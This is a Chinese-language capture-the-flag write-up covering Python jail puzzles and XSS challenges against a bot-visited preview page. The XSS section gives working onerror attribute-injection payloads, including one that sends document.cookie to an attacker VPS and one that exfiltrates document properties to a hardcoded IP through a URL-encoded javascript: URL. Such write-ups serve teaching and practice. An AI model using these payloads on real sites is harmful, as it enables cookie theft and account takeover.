前言 又是忙碌的一周,考完试找了个国外的比赛打打,主要是学了下xss
pyjail 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import ioimport contextlibwith open ("flag.txt" , 'rb' ) as f: FLAG = f.read()def run (code ): buf = io.StringIO() try : with contextlib.redirect_stdout(buf): exec (code, {}) except Exception: return None return buf.getvalue() or None code = input ("Enter your solution: " )if len (code) > 15 : print ("Code too long" ) exit()if not set (code) <= set ("abcdefghijklmnopqrstuvwxyz " ): print ("Invalid characters" ) exit() result = run(code)if result is None : print ("Error" ) exit()if len (result) > 500 : print (FLAG)else : print ("Output too short" )
要求输入的代码长度小于15,并且只包含小写字母和空格,同时输出的内容长度要大于500
这里直接使用‘python之禅’
bitset 功能:和常见的xss差不多,访问/bot?url=xxx,bot就会访问
6969端口的服务(关键代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $IMG = 'https://i.imgur.com/nh16rl8.png' ;$url = $_GET ['url' ] ?? $IMG ;if ($url !== '' && !preg_match ('/^https?:\/\/.+/i' , $url )) { http_response_code (400 ); header ('Content-Type: text/plain; charset=utf-8' ); echo 'url must start with http(s)://' ; exit ; }function render_img_markdown (string $s ): string { return preg_replace ( '/!\[ \]\(([^)\r\n]*)\)/' , "<img src='$1 ' loading='lazy'>" , htmlspecialchars ('' , ENT_HTML5, 'UTF-8' ) ); }?> ... <h2>Preview</h2> <div><?= render_img_markdown ($url ) ?> </div>
很明显xss的注入点就在url
因为是插到img标签的src属性里,我们可以利用属性注入,插入一个onerror属性来执行恶意js
尝试插入 http://a ‘ onerror=alert(1),失败了
分析发现是因为render_img_markdown函数在正则匹配的时候匹配到右括号就结束,所以payload里不能出现右括号
不能用右括号的话可以使用反引号来代替
1 http://x ' onerror=' alert`1` '
接下来想办法读cookie传到服务器就行了
这里做法很多,给出一种payload
1 http:// x' onerror=' this.src=`http://y ou-vps/?f=`+document.cookie'
bitsets 这次要拿到flag2
1 2 3 4 5 6 7 8 9 10 11 12 13 let flag23;if (q.length <= 55 ) { flag23 = process.env .FLAG3 || "infobahn{fake_flag3}" ; } else if (q.length <= 111 ) { flag23 = process.env .FLAG2 || "infobahn{fake_flag2}" ; }if (flag23) { await p.evaluateOnNewDocument (flag => { if (location.hostname == "127.0.0.1" ) { document ["flag" + Math .random ().toString (36 ).slice (2 )] = flag; } }, flag23); }
flag放在了一个属性里面,属性的名字是随机的,并且要求payload的长度小于111
首先先不考虑长度,要获取到这个随机的属性的内容,肯定先考虑遍历
用for循环遍历所有属性,找到属性名是flag开头的,然后使用document[i]读出来传到服务器,但是考虑长度的话,我选的是遍历所有属性把他们都传到服务器,就一定能找到flag,并且长度也没问题
1 for (i in document )open ('http://106.14.70.254/' +document [i])
这里遇到一个问题,前面说了,无法使用右括号,于是就来到了最关键的部分——利用js伪协议+url编码
把右括号编码之后就不会被匹配到了,以alert为例
1 http://x ' onerror="location=' javascript:alert%28 1%29 '"
把后面这一串赋值给window.location的时候,浏览器这个字符串当作url来解析,发现是js伪协议,会对后面的部分进行url解码,于是就能成功执行alert(1)
但是考虑到url编码会让长度变长,所以我们编码尽可能少的字符
1 http://x ' onerror="location=' javascript:for (i in document%29open (%27http :// 106.14 .70 .254 /%27 +document[i]%29 '"
这个payload长度再109,勉强满足111的要求
bitset revenge&bitsets revenge 使用相同的payload可以直接打,相比是非预期了(
speechless 一道有趣的jail,感觉自己的解法也是非预期,有点像数学题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 allowed = "ab.=-/" with open ("flag.txt" , 'rb' ) as f: flag = f.read() a = None while True : expr = input (">>> " ) if not all (char in allowed for char in expr): print ('you need to try harder' ) continue if any (f"{blocked} ==" in expr or f"=={blocked} " in expr for blocked in "ab" ): print ('stop comparing the flag' ) continue try : a = eval (expr, {"a" : a} | {"b" * (index + 1 ): char for index, char in enumerate (flag)}) print (a) except : a = None print ('stop breaking things >:(' )
你只能输入ab.=-/,输入b会返回flag的第一位,bb返回第二位,以此类推,并且将每次输入的返回值存到a里面,比如先输入bb,再输入a,就会返回flag的第二位
解法:
以第一位为例,我们先输入b,此时a=flag[0]
如果我能让a逐渐减小,判断减小多少的时候a变成了0,那我就能知道flag[0]的值是多少了
那么要减去谁呢,需要找一个不变值,这里使用b//b得到1
流程:
输入b,此时a=flag[0]
输入a-b//b,此时a=flag[0]-1
利用除数不能为0判断a此时是否等于0,输入b//a,若报错,说明a此时为0,那么第一位的ascii码就是1,如果不 为0,则进入下一步
输入b,再输入a-b//b-b//b,随后以此类推,重复上述步骤,直到报错,就能判断出这一位的值了
不难看出,此方法比较花时间,搓个脚本,爆一位需要上千次,但是思路是没问题的,写脚本的时候可以考虑一些优化的方法来加快爆破速度/减少爆破次数,核心优化思路是减少发包的次数,篇幅的原因脚本这里就不贴了,找ai就能搓
总结 感觉基本都是打的非预期,不过学到一些xss的点,主要就是js伪协议+url编码